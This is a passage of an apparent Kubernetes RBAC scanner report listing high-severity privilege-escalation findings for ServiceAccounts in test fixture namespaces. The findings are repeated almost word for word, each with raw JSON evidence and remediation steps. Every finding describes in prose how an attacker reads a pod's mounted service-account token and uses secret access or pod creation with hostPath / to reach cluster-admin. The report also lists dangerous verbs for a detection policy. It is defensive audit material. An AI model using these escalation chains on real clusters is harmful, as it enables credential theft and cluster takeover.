      "namespace": "rbac-fixtures"
    }
  ]
}
HIGH ServiceAccount/foothold-exec/foothold-reader Namespace 8.3
ServiceAccount ServiceAccount/foothold-exec/foothold-reader is mounted by live workloads and has dangerous permissions: secrets (kube-system)
Scope · Namespace ServiceAccount foothold-exec/foothold-reader: namespace-scoped subject; mounted by pods in foothold-exec
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader Resource: ServiceAccount/foothold-exec/foothold-reader

ServiceAccount ServiceAccount/foothold-exec/foothold-reader carries one or more dangerous RBAC capabilities (secrets (kube-system)) *and* is actively mounted by workloads (Pod/foothold-exec/foothold-target). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/foothold-exec/foothold-target. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/foothold-exec/foothold-reader immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/foothold-exec/foothold-target) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (kube-system)) directly. The token already authenticates as ServiceAccount/foothold-exec/foothold-reader, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/foothold-exec/foothold-reader into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/foothold-exec/foothold-target) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/foothold-exec/foothold-reader and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlist on secrets in
via foothold-reader-secrets (binding foothold-reader-secrets) in namespace kube-system
Workloads
Pod/foothold-target in namespace foothold-exec
Dangerous permissionssecrets (kube-system)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (kube-system)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "kube-system",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "source_binding": "foothold-reader-secrets",
      "source_role": "foothold-reader-secrets",
      "verbs": [
        "get",
        "list"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    }
  ]
}
HIGH ServiceAccount/foothold-fixtures/foothold-quiet Namespace 8.3
ServiceAccount ServiceAccount/foothold-fixtures/foothold-quiet is mounted by live workloads and has dangerous permissions: secrets (kube-system)
Scope · Namespace ServiceAccount foothold-fixtures/foothold-quiet: namespace-scoped subject; mounted by pods in foothold-fixtures
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-quiet Resource: ServiceAccount/foothold-fixtures/foothold-quiet

ServiceAccount ServiceAccount/foothold-fixtures/foothold-quiet carries one or more dangerous RBAC capabilities (secrets (kube-system)) *and* is actively mounted by workloads (Pod/foothold-fixtures/foothold-quiet-app-749c54956-6w7wr, Deployment/foothold-fixtures/foothold-quiet-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/foothold-fixtures/foothold-quiet-app-749c54956-6w7wr, Deployment/foothold-fixtures/foothold-quiet-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/foothold-fixtures/foothold-quiet immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/foothold-fixtures/foothold-quiet-app-749c54956-6w7wr, Deployment/foothold-fixtures/foothold-quiet-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (kube-system)) directly. The token already authenticates as ServiceAccount/foothold-fixtures/foothold-quiet, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/foothold-fixtures/foothold-quiet into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/foothold-fixtures/foothold-quiet-app-749c54956-6w7wr, Deployment/foothold-fixtures/foothold-quiet-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/foothold-fixtures/foothold-quiet and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlist on secrets in
via foothold-quiet-secrets (binding foothold-quiet-secrets) in namespace kube-system
Workloads
Pod/foothold-quiet-app-749c54956-6w7wr in namespace foothold-fixtures
Deployment/foothold-quiet-app in namespace foothold-fixtures
Dangerous permissionssecrets (kube-system)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (kube-system)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "kube-system",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "source_binding": "foothold-quiet-secrets",
      "source_role": "foothold-quiet-secrets",
      "verbs": [
        "get",
        "list"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "foothold-quiet-app-749c54956-6w7wr",
      "namespace": "foothold-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures"
    }
  ]
}
HIGH ServiceAccount/imgswap-fixtures/imgswap-reader Namespace 8.3
ServiceAccount ServiceAccount/imgswap-fixtures/imgswap-reader is mounted by live workloads and has dangerous permissions: secrets (cluster)
Scope · Namespace ServiceAccount imgswap-fixtures/imgswap-reader: namespace-scoped subject; mounted by pods in imgswap-fixtures
Category: Privilege Escalation Subject: ServiceAccount/imgswap-fixtures/imgswap-reader Resource: ServiceAccount/imgswap-fixtures/imgswap-reader

ServiceAccount ServiceAccount/imgswap-fixtures/imgswap-reader carries one or more dangerous RBAC capabilities (secrets (cluster)) *and* is actively mounted by workloads (Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg, Deployment/imgswap-fixtures/imgswap-reader-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg, Deployment/imgswap-fixtures/imgswap-reader-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/imgswap-fixtures/imgswap-reader immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg, Deployment/imgswap-fixtures/imgswap-reader-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (cluster)) directly. The token already authenticates as ServiceAccount/imgswap-fixtures/imgswap-reader, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/imgswap-fixtures/imgswap-reader into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg, Deployment/imgswap-fixtures/imgswap-reader-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/imgswap-fixtures/imgswap-reader and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlist on secrets in
via cr-imgswap-secret-reader (binding crb-imgswap-secret-reader) (cluster scope)
Workloads
Pod/imgswap-reader-app-b5544c498-vrnqg in namespace imgswap-fixtures
Deployment/imgswap-reader-app in namespace imgswap-fixtures
Dangerous permissionssecrets (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (cluster)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "source_binding": "crb-imgswap-secret-reader",
      "source_role": "cr-imgswap-secret-reader",
      "verbs": [
        "get",
        "list"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "imgswap-reader-app-b5544c498-vrnqg",
      "namespace": "imgswap-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures"
    }
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 8.3
ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account is mounted by live workloads and has dangerous permissions: create pods (local-path-storage)
Scope · Namespace ServiceAccount local-path-storage/local-path-provisioner-service-account: namespace-scoped subject; mounted by pods in local-path-storage
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: ServiceAccount/local-path-storage/local-path-provisioner-service-account

ServiceAccount ServiceAccount/local-path-storage/local-path-provisioner-service-account carries one or more dangerous RBAC capabilities (create pods (local-path-storage)) *and* is actively mounted by workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-r5gbn, Deployment/local-path-storage/local-path-provisioner). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/local-path-storage/local-path-provisioner-67b8995b4b-r5gbn, Deployment/local-path-storage/local-path-provisioner. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/local-path-storage/local-path-provisioner-service-account immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-r5gbn, Deployment/local-path-storage/local-path-provisioner) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (create pods (local-path-storage)) directly. The token already authenticates as ServiceAccount/local-path-storage/local-path-provisioner-service-account, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/local-path-storage/local-path-provisioner-service-account into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/local-path-storage/local-path-provisioner-67b8995b4b-r5gbn, Deployment/local-path-storage/local-path-provisioner) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/local-path-storage/local-path-provisioner-service-account and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
getlistwatchcreatepatchupdatedelete on pods in
via local-path-provisioner-role (binding local-path-provisioner-bind) in namespace local-path-storage
getlistwatch on nodespersistentvolumeclaimsconfigmapspodspods/log in
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
getlistwatchcreatepatchupdatedelete on persistentvolumes in
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
createpatch on events in
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
getlistwatch on storageclasses in storage.k8s.io
via local-path-provisioner-role (binding local-path-provisioner-bind) (cluster scope)
Workloads
Pod/local-path-provisioner-67b8995b4b-r5gbn in namespace local-path-storage
Deployment/local-path-provisioner in namespace local-path-storage
Dangerous permissionscreate pods (local-path-storage)
Show raw JSON
{
  "dangerous_permissions": [
    "create pods (local-path-storage)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "local-path-storage",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "nodes",
        "persistentvolumeclaims",
        "configmaps",
        "pods",
        "pods/log"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    },
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "persistentvolumes"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "events"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "create",
        "patch"
      ]
    },
    {
      "api_groups": [
        "storage.k8s.io"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "storageclasses"
      ],
      "source_binding": "local-path-provisioner-bind",
      "source_role": "local-path-provisioner-role",
      "verbs": [
        "get",
        "list",
        "watch"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "local-path-provisioner-67b8995b4b-r5gbn",
      "namespace": "local-path-storage"
    },
    {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage"
    }
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 8.3
ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard is mounted by live workloads and has dangerous permissions: secrets (lp-fixtures)
Scope · Namespace ServiceAccount lp-fixtures/sa-lp-wildcard: namespace-scoped subject; mounted by pods in lp-fixtures
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: ServiceAccount/lp-fixtures/sa-lp-wildcard

ServiceAccount ServiceAccount/lp-fixtures/sa-lp-wildcard carries one or more dangerous RBAC capabilities (secrets (lp-fixtures)) *and* is actively mounted by workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2, Deployment/lp-fixtures/lp-wildcard-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2, Deployment/lp-fixtures/lp-wildcard-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/lp-fixtures/sa-lp-wildcard immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2, Deployment/lp-fixtures/lp-wildcard-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (secrets (lp-fixtures)) directly. The token already authenticates as ServiceAccount/lp-fixtures/sa-lp-wildcard, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/lp-fixtures/sa-lp-wildcard into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2, Deployment/lp-fixtures/lp-wildcard-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/lp-fixtures/sa-lp-wildcard and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
* on secrets in
via r-lp-wildcard (binding rb-lp-wildcard) in namespace lp-fixtures
Workloads
Pod/lp-wildcard-app-7bb4d99f67-6ggf2 in namespace lp-fixtures
Deployment/lp-wildcard-app in namespace lp-fixtures
Dangerous permissionssecrets (lp-fixtures)
Show raw JSON
{
  "dangerous_permissions": [
    "secrets (lp-fixtures)"
  ],
  "rules": [
    {
      "api_groups": [
        ""
      ],
      "namespace": "lp-fixtures",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "source_binding": "rb-lp-wildcard",
      "source_role": "r-lp-wildcard",
      "verbs": [
        "*"
      ]
    }
  ],
  "workloads": [
    {
      "kind": "Pod",
      "name": "lp-wildcard-app-7bb4d99f67-6ggf2",
      "namespace": "lp-fixtures"
    },
    {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures"
    }
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Namespace 8.3
ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create is mounted by live workloads and has dangerous permissions: create pods (cluster)
Scope · Namespace ServiceAccount rbac-fixtures/sa-pod-create: namespace-scoped subject; mounted by pods in rbac-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: ServiceAccount/rbac-fixtures/sa-pod-create

ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create carries one or more dangerous RBAC capabilities (create pods (cluster)) *and* is actively mounted by workloads (Pod/rbac-fixtures/daemon-app-v82sg, DaemonSet/rbac-fixtures/daemon-app). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.

The flagged capabilities map directly to known privesc paths:
- secrets → read service-account tokens of higher-privileged SAs (KUBE-PRIVESC-005).
- create pods → mount any SA in a new pod, run as root, or set hostPath: / to escape (KUBE-PRIVESC-001, KUBE-ESCAPE-*).
- mutate workloads → modify a Deployment to swap its image / SA, gaining the workload's identity (KUBE-PRIVESC-003).
- bind roles / bind/escalate → grant yourself or any SA arbitrary permissions, cluster-wide (KUBE-PRIVESC-009, KUBE-PRIVESC-010).
- impersonate → assume any user/group/SA, instantly bypassing RBAC (KUBE-PRIVESC-008).
- nodes/proxy → kubelet API access to read all pod logs/exec on a node (KUBE-PRIVESC-012).

Workloads using this SA: Pod/rbac-fixtures/daemon-app-v82sg, DaemonSet/rbac-fixtures/daemon-app. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.

Impact Compromise of any workload using ServiceAccount/rbac-fixtures/sa-pod-create immediately grants the listed dangerous capabilities. In practice, this is a one- or two-hop chain to cluster-admin equivalent (see correlated KUBE-PRIVESC-* findings on the same subject).
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any of the workloads (Pod/rbac-fixtures/daemon-app-v82sg, DaemonSet/rbac-fixtures/daemon-app) via RCE in the application, a malicious image layer, or a leaked manifest with embedded token.
  2. They read /var/run/secrets/kubernetes.io/serviceaccount/token from the pod.
  3. They use the token to invoke the dangerous capabilities (create pods (cluster)) directly. The token already authenticates as ServiceAccount/rbac-fixtures/sa-pod-create, so no further escalation is needed.
  4. For each capability they convert into the matching privesc path: secrets→token theft → impersonate higher SA; bind→grant self cluster-admin; pods/create→privileged pod with hostPath /.
  5. Within minutes they hold an identity equivalent to the most privileged subject reachable from this SA's chain, typically cluster-admin if any privesc path connects.
Remediation
Split ServiceAccount/rbac-fixtures/sa-pod-create into one SA per workload, remove the dangerous capabilities that aren't actually used, and ensure each workload's SA holds only the minimum verbs.
  1. Audit which of the workloads (Pod/rbac-fixtures/daemon-app-v82sg, DaemonSet/rbac-fixtures/daemon-app) actually exercises each dangerous capability. Start with audit2rbac over a 7-day window, then ask the workload's owner to confirm.
  2. For each unique workload, create a dedicated SA and a least-privilege Role/ClusterRole with only the verbs that audit-2rbac observed. Bind only that Role to the new SA.
  3. Migrate workloads to the new dedicated SA (set spec.serviceAccountName). Delete the bindings against the original ServiceAccount/rbac-fixtures/sa-pod-create and rotate its token.
  4. For capabilities that *no* workload actually exercises, delete the binding entirely.
  5. Wire enforcement: a Kyverno policy that warns when pods.spec.serviceAccountName references an SA whose RBAC binding includes any of [secrets:get, pods:create, rolebindings:create, escalate, impersonate, nodes/proxy:get].
Evidence
Effective rules
create on pods in
via cr-pod-create (binding crb-pod-create) (cluster scope)
Workloads
Pod/daemon-app-v82sg in namespace rbac-fixtures
DaemonSet/daemon-app in namespace rbac-fixtures
Dangerous permissionscreate pods (cluster)
Show raw JSON
{
  "dangerous_permissions": [
    "create pods (cluster)"
  ],
  "rules": [
